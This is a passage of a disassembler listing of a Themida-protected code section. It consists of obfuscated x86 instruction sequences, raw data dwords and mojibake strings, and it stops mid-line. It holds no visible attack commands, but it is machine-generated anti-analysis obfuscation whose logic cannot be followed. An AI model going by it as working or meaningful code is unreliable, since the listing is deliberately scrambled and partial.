0C0E95058h, 6600003Dh, 0EF885350h dd 1C8BF888h, 32E5E924h, 0CA290000h, 0FEBA5259h, 0F7134A2Bh dd 0FFEA81DAh, 42FFFFFFh, 7D72CA81h, 1BE96246h, 81000053h dd 0BE699AC1h, 59CD010Eh, 4A9DE9h, 5BDF2900h, 7CE9FE89h db 3Ch, 2 dup(0) byte_54987B db 66h ; DATA XREF: Themida_:00546290o dd 5324048Bh, 7C2CE9h, 0E9E68900h, 60ABh, 58C3885Ah, 0E91A8859h dd 3888h, 6460E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54989E: ; CODE XREF: Themida_:00546691j sub al, 90h xor al, 0D0h sub al, 51h mov bh, al jmp loc_54ED25 ; --------------------------------------------------------------------------- loc_5498AB: ; CODE XREF: Themida_:0054D466j xor edx, [esp] jmp loc_550A92 ; --------------------------------------------------------------------------- db 89h dd 8FBA2414h, 816A054Ah, 0D13846CAh, 11EC682Ah, 51E90000h dd 59000071h, 94B68h, 0ED9BE900h, 405FFFFh, 87000000h dd 815C2404h, 0C17C71EAh, 0EF57E968h db 2 dup(0FFh) word_5498EA dw 2DADh ; DATA XREF: Themida_:00546498o dd 73FE7D74h, 601EE9h, 0DDE95E00h, 8300008Dh, 3C8702C7h dd 8349E924h, 0F660000h, 6866C8B6h, 89663937h, 0D8E9240Ch dd 0BFFFFFE3h, 51546240h, 546242B9h, 5FF92951h, 3359CF01h dd 3C31243Ch, 243C3324h, 8BA7E9h, 81EA0100h, 5E2ED1C2h dd 6204E96Ah db 2 dup(0) word_549942 dw 0BA52h ; DATA XREF: Themida_:005463D8o dd 3Ch, 0FFE3DAE9h, 242C8BFFh, 4C481h, 0FA010000h, 81243C8Bh dd 4C4h, 8BD00100h, 0C4832414h, 81565104h, 4ECh, 243C8900h dd 2730A0BFh, 81DFF75Fh, 513AAEF7h, 3A4E6857h, 1C890000h dd 4DE2BB24h, 0F38156E6h, 0ECC2A2FBh, 0FFFED8E9h, 2C483FFh dd 4EC81h, 34E90000h, 31FFFFD2h, 0EA815DEAh, 42561B11h dd 1225BB53h, 0DA3158B4h, 1AF2815Bh, 29695750h, 3C875AD7h dd 79DAE924h db 2 dup(0) word_5499CA dw 77FFh ; DATA XREF: Themida_:0054631Co dd 59669D1Ch, 9C2414D3h, 0FFCB12E9h, 20CF80FFh, 28C9E9h dd 0E2B45000h, 0FFD10AE9h db 0FFh ; --------------------------------------------------------------------------- loc_5499E9: ; CODE XREF: Themida_:0054F8BEj xor [esp], eax xor eax, [esp] pop esp push eax mov eax, 69494662h dec eax shr eax, 1 jmp loc_54787E ; --------------------------------------------------------------------------- loc_5499FE: ; CODE XREF: Themida_:00551C32j add ecx, ebx pop ebx xchg ecx, [esp] pop esp push esi mov esi, esp add esi, 4 sub esi, 4 jmp loc_551AA7 ; --------------------------------------------------------------------------- loc_549A16: ; CODE XREF: Themida_:0054F95Fj not dword ptr [esp] pop edx xchg edx, [esp] pop ebp push esi push ebp pop esi jmp loc_54EBA8 ; --------------------------------------------------------------------------- loc_549A26: ; CODE XREF: Themida_:0054D96Dj mov esi, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] pop esp shr ebp, 8 jmp loc_54B99C ; --------------------------------------------------------------------------- aBIVbLSte db '│бi',0Dh,9,'v│Й|L-ыИБE',0 db 0 ; --------------------------------------------------------------------------- loc_549A5B: ; CODE XREF: Themida_:005483C1j xchg ebp, ebx add ebp, 1 xor ebx, ebp xor ebp, ebx xor ebx, ebp push 2CABh mov [esp], edi push ebx mov ebx, 0C6F1E53Bh mov edi, ebx pop ebx xor ebx, edi pop edi and ecx, ebx pop ebx shr ecx, 7 push 13D7h mov [esp], edx push edi jmp loc_54D3B3 ; --------------------------------------------------------------------------- db 56h, 0BEh, 1Ch dd 8160AF71h, 0BD56DEC3h, 81F32920h, 0BD56DEEBh, 24348B20h dd 4EC81h, 0C890000h, 0E9E18924h, 0FFFFF92Ch dword_549AB8 dd 592434FFh, 4EC81h, 1C890000h, 4EC8124h, 89000000h, 4812424h ; DATA XREF: Themida_:005462C4o dd 424h, 0C3815B00h, 4, 4944BE56h, 68767Eh, 29000000h dd 348B2434h, 4C48324h, 290AE9h, 0C5815B00h, 6AE62A61h dd 622BBB53h, 0DD014E18h, 4171E95Bh, 4890000h, 242C8124h dd 64D27E9Ch, 5A2434FFh, 5604C483h, 3F28A4BEh, 0A0E6814Eh dd 0C101903Eh, 814603EEh, 0B7774EF6h, 5E7E92Ch, 50470000h dd 0ABE95255h db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_549B3F: ; CODE XREF: Themida_:00547A45j add esp, [edx+38h] push 1052h jmp loc_547FA2 ; --------------------------------------------------------------------------- dword_549B4C dd 24048B66h, 79536857h, 0E9540000h, 5293h, 8B24048Fh ; DATA XREF: Themida_:005463DCo dd 0F662424h, 9C2404ABh, 0FFC97EE9h, 0C7815CFFh, 60C25746h dd 54E9EF29h db 63h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549B7B: ; CODE XREF: Themida_:005511DBj add ebp, edi add ebp, 3AED3254h pop edi add ebp, 4 xchg ebp, [esp] pop esp push ebx mov ebx, 12A237CEh shl ebx, 1 shl ebx, 5 push eax mov eax, 75742D5Eh and ebx, eax jmp loc_54BEC7 ; --------------------------------------------------------------------------- db 0BDh dd 60B67E10h, 0F5E9EE09h, 89000026h, 24BD242Ch, 0E9000000h dd 0FFFFCB47h ; --------------------------------------------------------------------------- loc_549BBC: ; CODE XREF: Themida_:00550EB4j add ebx, eax pop eax sub ebx, ebp sub ebx, 297E0BF9h pop ebp jmp loc_550C25 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 0E902EC83h, 4888h ; --------------------------------------------------------------------------- loc_549BD8: ; CODE XREF: Themida_:00550F31j add eax, 4 add eax, 4 jmp loc_54B7B8 ; --------------------------------------------------------------------------- loc_549BE5: ; CODE XREF: Themida_:00547A2Aj pop eax add eax, ebx pop ebx push edx mov edx, 4 jmp loc_54E5B7 ; --------------------------------------------------------------------------- dd 6E032FBEh, 0E21FE910h, 6BBFFFFFh, 0E942DF17h, 2D31h ; --------------------------------------------------------------------------- loc_549C08: ; CODE XREF: Themida_:0054ABF8j sub ebx, 2 xchg ebx, [esp] mov esp, [esp] mov [esp], cx jmp loc_54C1CA ; --------------------------------------------------------------------------- loc_549C1A: ; CODE XREF: Themida_:00550FB1j pop esi jmp loc_54DFC2 ; --------------------------------------------------------------------------- loc_549C20: ; CODE XREF: Themida_:0054FA0Bj pop eax push dword ptr [esp] pop ebx push ecx mov ecx, esp add ecx, 4 jmp loc_54A021 ; --------------------------------------------------------------------------- db 89h dd 0E6892434h, 4C681h, 0EC680000h, 89000054h, 6853243Ch dd 674602ADh, 83241C8Bh, 0C38104C4h, 7CA0279h, 3AEB8143h dd 8107A40Dh, 25085EC3h, 5BDF89CFh, 2D05BD55h, 0E5813EFFh dd 193349DEh, 5CE6E581h, 55E970BBh db 2Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_549C7F: ; CODE XREF: Themida_:00550EE7j add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_5476BB ; --------------------------------------------------------------------------- dd 0E9241C89h, 2310h, 0BD55DBF7h, 526531B0h, 36C5E581h dd 0F581219Ah, 56DF44A0h, 815DEB01h, 0DDB41EEBh, 2DE9D4h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549CBA: ; CODE XREF: Themida_:0054A72Cj pop ecx jmp loc_55083B ; --------------------------------------------------------------------------- dd 9796852h, 0E95A7FD1h, 7295h ; --------------------------------------------------------------------------- loc_549CCC: ; CODE XREF: Themida_:0055001Ej shl edx, 1 xor [edi+24h], edx push ecx push edx mov edx, 92C4BCDh shr edx, 2 jmp loc_546CA2 ; --------------------------------------------------------------------------- aIssm1 db '┴АИ╛1',0 dw 100h dd 241C8BDAh, 4C481h, 14870000h, 0D51AE924h, 295BFFFFh dd 86BB53D9h, 157D53Eh, 1CE95BD9h db 62h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549D0B: ; CODE XREF: Themida_:00546593j push esi mov esi, 68A052E7h xor edx, esi pop esi push edx pop ecx mov edx, [esp] add esp, 4 jmp loc_54D693 ; --------------------------------------------------------------------------- loc_549D24: ; CODE XREF: Themida_:005478A0j push eax mov eax, 1 push edx jmp loc_55241F ; --------------------------------------------------------------------------- dd 68241C89h, 1229h, 0FFCEF6E9h db 0FFh ; --------------------------------------------------------------------------- loc_549D3D: ; CODE XREF: Themida_:00551284j add esi, 4 xchg esi, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebp jmp loc_551B95 ; --------------------------------------------------------------------------- dword_549D54 dd 0FF2434FFh, 81582434h, 4ECh, 24148900h, 71E95A54h ; DATA XREF: Themida_:00546218o db 0F5h, 2 dup(0FFh) byte_549D6B db 66h ; DATA XREF: Themida_:00546330o dd 8324048Bh, 1C8904ECh, 525B5424h, 4BAh, 3DC2E900h, 0E1D10000h dd 3C58E981h, 0C18134EEh, 45F1D986h, 0FA653505h, 0D726E977h dd 0FF68FFFFh, 89000024h, 1BE9242Ch, 89000008h, 622559C8h dd 57068604h, 0FFFE49E9h db 0FFh ; --------------------------------------------------------------------------- loc_549DB5: ; CODE XREF: Themida_:00548690j not ebx not ebx add ebx, 2478BA84h jmp loc_54CDB0 ; --------------------------------------------------------------------------- dd 0B551D830h, 8E5C0A9h, 0F603EDC0h, 6EDC0D5h, 83F580h dd 0F12FE9E8h, 4BDFFFFh, 1000000h, 2EE9EEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_549DEA: ; CODE XREF: Themida_:0054E038j inc edi jmp loc_54BF58 ; --------------------------------------------------------------------------- loc_549DF0: ; CODE XREF: Themida_:00548950j add ebx, 4 push ecx jmp loc_54C17B ; --------------------------------------------------------------------------- loc_549DFC: ; CODE XREF: Themida_:0054E34Cj mov ebp, 23B60336h push eax jmp loc_550EAF ; --------------------------------------------------------------------------- loc_549E07: ; CODE XREF: Themida_:00546B34j pop edx shl edx, 6 not edx xor edx, 2D641A29h jmp loc_5519BD ; --------------------------------------------------------------------------- dd 4C6835Dh, 1E04E9h, 0B1685700h, 5F71174Bh, 21EF8147h dd 8923AC64h, 7E055FF9h, 0E917D22Ah, 0FFFFE02Bh, 22A6E95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_549E42: ; CODE XREF: Themida_:0054D16Aj pop esp push 0CB9h mov [esp], esi jmp loc_54D8A6 ; --------------------------------------------------------------------------- dd 8904EC83h, 4BD242Ch, 1000000h, 3C875DEFh, 24248B24h dd 0FFF2AEE9h, 241489FFh, 0A4412BAh, 1EA836Dh, 38FEC281h dd 0F2810E2Ch, 57AD66D9h, 1BD2F281h, 0D5012C9Bh, 8324148Bh dd 0ACE904C4h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549E93: ; CODE XREF: Themida_:00547A95j mov ecx, 7FD6076Ah xor ecx, 0AF18687Eh xor esi, ecx push dword ptr [esp] pop ecx jmp loc_54EC0A ; --------------------------------------------------------------------------- byte_549EA9 db 66h, 0Fh, 0B6h ; DATA XREF: Themida_:00546410o dd 0D8686602h, 489662Ch, 0C631E924h, 0E95BFFFFh, 0FFFFCA94h dd 159CB89h, 0EA015BDDh, 0B4BD555Dh, 45418C74h, 0E63E9h db 0 ; --------------------------------------------------------------------------- loc_549ED5: ; CODE XREF: Themida_:00551A44j push eax mov eax, 52AE66EDh jmp loc_54C20C ; --------------------------------------------------------------------------- aFpvsF db 'fPVИ╪f',0 align 4 loc_549EE8: ; CODE XREF: Themida_:0054BE13j mov [esp], eax push 62FBh mov [esp], edx pop eax pop edx jmp loc_54C4D6 ; --------------------------------------------------------------------------- loc_549EFA: ; CODE XREF: Themida_:0054EE83j push 58DDh jmp loc_548536 ; --------------------------------------------------------------------------- dd 31241C33h, 1C33241Ch, 24248B24h, 0FFF894E9h, 0D8015EFFh dd 764BE9h, 2C48100h, 80000000h, 0C300A3C3h, 4773E9h, 1926800h dd 14890000h, 484CBA24h, 29E904FAh, 5CFFFFF3h, 0E99CC884h dd 0FFFFC5A3h, 42474FFh, 81240C8Bh, 4C4h, 24048F00h, 2824248Bh dd 0E99C2404h, 0FFFFC587h, 0D7CB81h, 0CB81275Dh, 4EFB3B6Ah dd 5297BA52h, 0EAC164BAh, 6E2C106h, 8102EAC1h, 2487DEAh dd 5AD331A7h, 0DA84E951h, 0BE56FFFFh, 0B45FFAEFh, 6DE9F131h dd 0BF000088h, 53841B72h, 0FFE724E9h, 0B45066FFh, 66E728D7h dd 0E9FD0058h, 206Eh, 405E089h, 0E9000000h, 0FFFFCBF8h ; --------------------------------------------------------------------------- loc_549FC0: ; CODE XREF: Themida_:0054BB18j push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_54662A ; --------------------------------------------------------------------------- aB3hEsB db '│м3H',0Ah db '*EИ╨B',0 db 0 ; --------------------------------------------------------------------------- loc_549FE3: ; CODE XREF: Themida_:0054A634j mov ebx, 1Ch jmp loc_5478A5 ; --------------------------------------------------------------------------- db 83h, 0C4h, 2 dd offset dword_58EA80 dd 24148BD0h, 815D5455h, 4C5h, 17B85000h, 35122E6Fh, 2F3E0778h dd 0B05D0F7h, 576C0802h, 0F79997BFh, 5FF8292Eh, 3D38E9h db 0 ; --------------------------------------------------------------------------- loc_54A021: ; CODE XREF: Themida_:00549C2Ej add ecx, 4 xchg ecx, [esp] jmp loc_54BA9E ; --------------------------------------------------------------------------- db 66h dd 2D66D801h, 56667049h, 5114BE66h, 0E9F00166h, 3708h dd 840FC909h, 0FFFFC779h, 404568h, 76136800h, 34890000h dd 0E9E68924h, 7763h, 4C481h, 5EE90000h, 5CFFFFF5h, 0FF242C89h dd 5D042474h, 8B24048Fh, 85682424h, 89000072h, 5350241Ch dd 0A3E9D388h, 81000020h, 4ECh, 0CD44E900h, 8166FFFFh dd 6675F7F2h, 1D96E281h, 2510E955h, 1C890000h, 34FF5424h dd 89575B24h, 4C781E7h, 53000000h, 6A18B951h, 0F1811619h dd 6932B00h, 4BCEC181h, 0E18177AFh, 5F12B7Eh, 8105E1C1h dd 210BE6F1h, 59CB891Bh, 8108E3C1h, 72604F3h, 5BDF0100h dd 0E9243C87h, 64F5h, 0E6D8E949h db 2 dup(0FFh) word_54A0F6 dw 51ACh ; DATA XREF: Themida_:00546234o dd 0C58020B5h, 0E9E42C99h, 43F0h, 2B9h, 36EB8100h, 812BE908h dd 5159CBC3h, 50CB012Ah, 167DE9h, 1C68100h, 53000000h dd 670CC0BBh, 5BDE3148h, 3685657h, 0E973401Bh, 4A56h, 815FFB29h dd 5819F5F3h, 0B9F3810Dh, 8117B493h, 0E4786CEEh, 8FC68115h dd 105D862h, 16FCE9DEh, 565D0000h, 0E6E9E689h db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A163: ; CODE XREF: Themida_:00548902j add eax, ebx pop ebx mov ecx, [eax] push dword ptr [esp] jmp loc_547154 ; --------------------------------------------------------------------------- dd 8959CF01h, 243C8BFBh, 2E3E9h, 24048900h, 9D0E7BB8h dd 8BC3012Ah, 0C4812404h, 4, 3F7EC381h, 0EB816093h, 459B629Bh dd 0C381C301h, 459B629Bh, 7D5EE9h, 0C0B60F00h, 518734FFh dd 0A222E4B9h, 244C296Bh, 34FF5904h, 261CE924h, 8B660000h dd 0C4832414h, 0DD58E902h, 0E289FFFFh, 4C281h, 0C2830000h dd 24148704h, 5AD0015Ch, 90BB5352h, 89540535h, 55D5E9DAh dd 2C330000h, 24248B24h, 0FFD801E9h, 0EC8157FFh, 4, 83242489h dd 0E9042404h, 1FC7h ; --------------------------------------------------------------------------- loc_54A20C: ; CODE XREF: Themida_:00550918j xchg ebp, [esp] pop esp shr ecx, 0 or eax, eax jz loc_54E79C push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], ebx mov eax, [esp] push 137Ch mov [esp], edx push esp pop edx push ebx mov ebx, 4 add edx, ebx push dword ptr [esp] pop ebx add esp, 4 add edx, 4 push edx jmp loc_54BBCE ; --------------------------------------------------------------------------- dd 0E9241C8Bh, 0FFFFF373h ; --------------------------------------------------------------------------- loc_54A25C: ; CODE XREF: Themida_:00551C19j pop eax xor ebp, esi pop esi jmp loc_54EA08 ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0FFD9A0E9h, 28E95AFFh, 89000021h, 4B9240Ch, 1000000h dd 7AD0E9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A282: ; CODE XREF: Themida_:00550602j xchg ebp, [esp] jmp loc_54B91D ; --------------------------------------------------------------------------- dw 0C083h dd 24048704h, 4C4815Ch, 52000000h, 24148B5Fh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebp sub esp, 4 mov [esp], edi push 61835DDBh push dword ptr [esp] jmp loc_54CED6 ; --------------------------------------------------------------------------- loc_54A2C3: ; CODE XREF: Themida_:0054A4C6j pop esi push ebp jmp loc_54E52B ; --------------------------------------------------------------------------- dw 0C68h dd 8900007Eh, 0D8BB241Ch, 0F7145B2Ah, 31EB31DBh, 45EB31DDh dd 0C383EB87h, 73B3E9FFh, 0C8B0000h, 4C48324h, 1E22E951h db 2 dup(0) word_54A2F6 dw 0FF64h ; DATA XREF: Themida_:00546294o dd 0C1EDE932h, 0C481FFFFh, 4, 292B951h, 0CD316C31h, 0CF2E9h dd 5BF88800h, 5A58C388h, 2858F380h, 0D0005BD8h, 0FFF2E5E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A325: ; CODE XREF: Themida_:00546BD6j pop ebp jmp loc_547923 ; --------------------------------------------------------------------------- loc_54A32B: ; CODE XREF: Themida_:005476BCj push 209Dh mov [esp], esi push esp pop esi push edx push eax mov eax, 34816E49h shl eax, 7 push eax jmp loc_550008 ; --------------------------------------------------------------------------- db 33h, 34h, 24h dd 33243431h, 835C2434h, 248904ECh, 24048324h, 24048F04h dd 4240483h, 8324048Fh, 1C8904ECh, 4BB24h, 0B6E90000h dd 0B0FFFFD0h, 0E9C300FBh, 0FFFFE21Eh, 0FFBA5259h, 811D0E36h dd 0C03BF9EAh, 0ABB5355h, 135CE79h, 0EA815BDAh, 0FD1C740Ch dd 14C7C181h, 0D1015A9Ah, 14C7E981h, 505A5A9Ah, 47B9E9h dd 81FB2900h, 484602EBh, 0C1EB8160h, 57437175h, 916F6BFh dd 4EFC10Bh, 7A01C781h, 0C3E90C85h, 28FFFFECh, 805966E8h dd 0E95247EBh, 501h, 83240C8Bh, 272C04C4h, 0EEE9D828h db 3Ah, 2 dup(0) aMssj8 db '╛SИJ8',0 ; DATA XREF: Themida_:00546250o align 2 loc_54A3F2: ; CODE XREF: Themida_:0054F079j mov [esp], esi jmp loc_5497DE ; --------------------------------------------------------------------------- dw 5F59h dd 4C381h, 7FE90000h, 66FFFFC3h, 0B5240C89h, 66EA30AFh dd 20F28059h, 51FFEA80h, 0C1FE9CB1h, 0BAE980h, 0D72059CAh dd 10F1E9h, 5B545300h, 4C381h, 97E90000h, 0BF00000Eh, 4 dd 4247C01h, 7568585Fh, 89000057h, 0A1BE2434h, 510EA625h dd 8422DBB9h, 56E18103h, 0E9335436h, 75D2h, 815E5456h dd 4C6h, 6CE6E900h, 0F7660000h, 4EC83F1h, 54243C89h, 83243C8Bh dd 0C78104C4h, 4, 4F4FE9h db 0 ; --------------------------------------------------------------------------- loc_54A489: ; CODE XREF: Themida_:00551A55j sub cl, 9Eh mov bx, [esp] jmp loc_5484DE ; --------------------------------------------------------------------------- db 29h, 0FAh, 8Bh dd 0C483243Ch, 48EA8104h, 1041B7Bh, 0D285E9F2h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A4AA: ; CODE XREF: Themida_:005475F1j pop ebx mov edx, ecx pop ecx jmp loc_551A43 ; --------------------------------------------------------------------------- aSuo_0 db '[ИЦo',0 db 0 ; --------------------------------------------------------------------------- loc_54A4B9: ; CODE XREF: Themida_:0054B721j pop edx not esi inc esi push esi xchg eax, [esp] not eax xchg eax, [esp] jmp loc_54A2C3 ; --------------------------------------------------------------------------- db 58h dd 12F7E9h db 0 byte_54A4D1 db 0ACh, 30h, 0D8h ; DATA XREF: Themida_:005463FCo dd 441D6851h, 0B1E90000h, 8900006Eh, 2BA2414h, 1000000h dd 24148BD7h, 4C481h, 3C870000h, 1B12E924h, 0F1010000h dd 8124348Bh, 4ECh, 1C8BE900h, 0C1810000h, 0FFFFFFFFh dd 0CFEBF181h, 0CA29DFFEh, 0C4F2E959h, 0E589FFFFh, 4C581h dd 0C5810000h, 2, 5C242C87h, 66D83166h, 81241C8Bh, 4ECh dd 242C8900h, 0BA52E589h, 4, 148BD501h, 4C48324h, 8702C583h dd 248B242Ch, 3712E924h, 895C0000h, 4CB22414h, 0E988EA80h dd 7E1Dh ; --------------------------------------------------------------------------- loc_54A56C: ; CODE XREF: Themida_:0054EBF2j mov [esp], edi pop edx mov edi, [esp] add esp, 4 push edx pop eax mov edx, [esp] push ebp mov ebp, esp jmp loc_54AE78 ; --------------------------------------------------------------------------- word_54A586 dw 8B66h ; DATA XREF: Themida_:00546320o dd 4768240Ch, 0E900007Ch, 4CAh, 592434FFh, 0E904C483h dd 3A82h, 89241C89h, 4D2EE9E3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A5AA: ; CODE XREF: Themida_:0055106Dj pop ebx push edi jmp loc_54A779 ; --------------------------------------------------------------------------- byte_54A5B1 db 0FFh, 77h, 38h ; DATA XREF: Themida_:00546298o dd 8B2434FFh, 8957240Ch, 0E1BCE9E7h, 40BDFFFFh, 89000000h dd 6C12E9EAh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A5CE: ; CODE XREF: Themida_:005512BAj mov edi, ebx mov eax, edi mov edi, [esp] push edi mov edi, esp push eax mov eax, 4 add edi, eax pop eax add edi, 4 xchg edi, [esp] jmp loc_54CAF0 ; --------------------------------------------------------------------------- loc_54A5EF: ; CODE XREF: Themida_:loc_546C89j ; Themida_:0055163Bj push eax mov eax, esp push ebx jmp loc_547A22 ; --------------------------------------------------------------------------- loc_54A5F8: ; CODE XREF: Themida_:00547A8Ej push ebp jmp loc_550110 ; --------------------------------------------------------------------------- dw 15Bh dd 8B042444h, 0C4832404h, 4055804h, 52000000h, 4BAh, 11E70500h dd 0D0017083h, 8311E72Dh, 0F8E95A70h db 81h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A627: ; CODE XREF: Themida_:00549686j xchg ecx, [esp] pop esp or eax, eax jz loc_547C43 push ebx jmp loc_549FE3 ; --------------------------------------------------------------------------- db 87h, 34h, 24h dd 0C8B665Ch, 34F76824h, 3C890000h, 66F16824h, 0E9540000h dd 0FFFFEBF9h, 0DCE94A04h, 100001Ah, 70EF81C7h, 58380421h dd 4C781h, 3C330000h, 243C3124h, 0E9243C33h, 0FFFFE137h ; --------------------------------------------------------------------------- loc_54A678: ; CODE XREF: Themida_:0054B419j pop ebp jmp loc_55005F ; --------------------------------------------------------------------------- loc_54A67E: ; CODE XREF: Themida_:0054DC16j push dword ptr [esp] pop ecx add esp, 4 xchg ebx, [esp] mov esp, [esp] movsx ecx, ax push edi mov edi, esp add edi, 4 jmp loc_547470 ; --------------------------------------------------------------------------- loc_54A69F: ; CODE XREF: Themida_:0054F46Fj add ecx, 704900B8h add ecx, ebp sub ecx, 704900B8h mov ebp, [esp] add esp, 4 push ecx jmp loc_5489C8 ; --------------------------------------------------------------------------- db 5, 86h, 5Fh dd 2C8B01CBh, 4C48124h, 57000000h, 35B9E9h db 0 ; --------------------------------------------------------------------------- loc_54A6CD: ; CODE XREF: Themida_:005508CDj sub esi, 560C497Ah jmp loc_547395 ; --------------------------------------------------------------------------- dd 5358C729h, 85692FBBh, 5BDF0162h, 0EF81C701h, 6285692Fh dd 6061B850h, 0C7014BD4h, 8324048Bh, 1AE904C4h, 8BFFFFD1h dd 0EC812424h, 4, 50241C89h, 9911ECB8h, 0F92D4830h, 89EF7F06h dd 0E3C158C3h, 3D08E905h, 0F6800000h, 4328E958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A72A: ; CODE XREF: Themida_:005476E5j xor esi, ecx jmp loc_549CBA ; --------------------------------------------------------------------------- db 5Bh, 83h, 0C2h dd 445CE904h, 2C810000h, 9F5BE424h, 2404010Ch, 0E4240481h dd 560C9F5Bh, 2E6DDDBEh, 24448112h, 0D56E3804h, 0FFBE5631h dd 8136AD73h, 0A8082444h, 2924F962h, 81082474h, 0A808246Ch dd 5E24F962h, 3CCEE9h db 0 ; --------------------------------------------------------------------------- loc_54A779: ; CODE XREF: Themida_:0054A5ACj not dword ptr [esp] jmp loc_54D418 ; --------------------------------------------------------------------------- db 5Fh, 1, 0F8h dd 59580888h, 5CE95A5Bh, 89FFFFBDh, 74FF241Ch, 1C8B0424h dd 4C48324h, 8B24048Fh, 4D22424h, 0E3E99C24h, 87000026h dd 835C2404h, 3C3302C7h, 243C3124h, 8B243C33h, 85662424h dd 24E99CC8h db 0BDh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A7C7: ; CODE XREF: Themida_:0054F38Fj push ebx jmp loc_551921 ; --------------------------------------------------------------------------- loc_54A7CD: ; CODE XREF: Themida_:00549697j xchg ecx, [esp] jmp loc_54BDAF ; --------------------------------------------------------------------------- loc_54A7D5: ; CODE XREF: Themida_:0054DA79j add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx mov edx, 17DA2644h push ebx mov ebx, 799F35FBh dec ebx sub ebx, 20C8B945h and edx, ebx pop ebx shl edx, 8 not edx sub edx, 2DDBFBFDh add edi, edx pop edx jmp loc_54CC9F ; --------------------------------------------------------------------------- dd 5704C783h, 42474FFh, 24048F5Fh, 3514E9h, 49106800h dd 88E90000h, 31FFFFF0h, 0C33240Ch, 0E9515C24h, 0FFFFDC48h dd 405h, 4C08300h, 5C240487h, 0FFDC08E9h, 4C381FFh, 81000000h dd 4ECh, 240C8900h, 2B9h, 59CB0100h, 5C241C87h, 0E9E1F766h dd 2BE4h, 641E781h, 0C7814642h, 78B82B9Bh, 6EA3EF81h, 0FE31798Dh dd 0E92434FFh, 3D0Dh ; --------------------------------------------------------------------------- loc_54A888: ; CODE XREF: Themida_:00547752j mov [esp], eax xor [esp], esi xor esi, [esp] xor [esp], esi not esi sub esp, 4 mov [esp], esi push dword ptr [esp+4] pop esi jmp loc_54D631 ; --------------------------------------------------------------------------- loc_54A8A6: ; CODE XREF: Themida_:0054FE40j mov edx, ebp pop ebp jmp loc_54FCF6 ; --------------------------------------------------------------------------- loc_54A8AE: ; CODE XREF: Themida_:005474EBj ; Themida_:0054FBD0j push ebx sub esp, 4 mov [esp], ecx jmp loc_54DAAF ; --------------------------------------------------------------------------- db 45h, 0C1h, 0EDh dd 2EC58104h, 0E9EA31DBh, 0FFFFE876h, 24148B5Eh, 5E08950h dd 4, 5864E9h, 80DAB600h, 0C2E951C6h db 0E4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A8E7: ; CODE XREF: Themida_:0054E251j add ecx, 0FFFFFFFFh and ecx, 5C9A0027h jmp loc_5521E0 ; --------------------------------------------------------------------------- dd 74B7F781h, 0F74F1A10h, 9AC781D7h, 154EC65h, 2434FFFDh dd 4C4815Fh, 55000000h, 42474FFh, 81242C8Bh, 4C4h, 24048F00h dd 6624248Bh, 9C2424D3h, 0FFCF21E9h, 4EC81FFh, 89000000h dd 16B7241Ch, 0FFF098E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A941: ; CODE XREF: Themida_:0054747Dj mov ecx, esp jmp loc_5496B3 ; --------------------------------------------------------------------------- loc_54A948: ; CODE XREF: Themida_:005472A6j xor [esp+4], esi jmp loc_550322 ; --------------------------------------------------------------------------- loc_54A951: ; CODE XREF: Themida_:005493A8j neg eax inc eax sub eax, 25396720h push ecx mov ecx, 59FD0C4Eh dec ecx not ecx inc ecx add ecx, 5F8789CEh add eax, ecx pop ecx add ebp, eax pop eax sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx mov eax, [esp] push eax push 998h mov [esp], esp jmp loc_549702 ; --------------------------------------------------------------------------- loc_54A98D: ; CODE XREF: Themida_:0055083Fj jmp loc_5464EB ; --------------------------------------------------------------------------- loc_54A992: ; CODE XREF: Themida_:0055138Bj xor ecx, 4F4102E8h mov edx, ecx pop ecx jmp loc_54DBC3 ; --------------------------------------------------------------------------- dd 0D047C681h, 0F28949C0h, 4543E9h, 0B3E95400h, 2C00002Eh dd 0EC815A0Eh, 4, 0FFC898E9h, 8BF029FFh, 0C4832434h, 512C0504h dd 0D8012BF7h, 129DBF57h, 69E97698h, 5E000012h, 24440166h dd 48B6602h, 2C48324h, 24048F66h, 0BF665766h, 1660002h dd 6602247Ch, 0BAEDE95Fh, 0E950FFFFh, 4D26h, 5066DBF6h dd 5EE2E9h, 24048F00h, 0FFBAD6E9h, 0BB535AFFh, 72D95B72h dd 4B04EBC1h, 665BBF57h, 0FB317BE7h, 0E9EB815Fh, 817CCAF3h dd 0FE4603C2h, 81DA0157h, 0FE4603EAh, 259DE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AA42: ; CODE XREF: Themida_:00546C84j pop edi or edi, ecx pop ecx jmp loc_547E81 ; --------------------------------------------------------------------------- loc_54AA4B: ; CODE XREF: Themida_:0054CEF0j mov eax, esi push dword ptr [esp] jmp loc_55221F ; --------------------------------------------------------------------------- aXZs db 'X)яZИ`',0Ah,0 align 2 aI4TSG db '┴4$T^И=G',0 align 4 dd 0F703E3C1h, 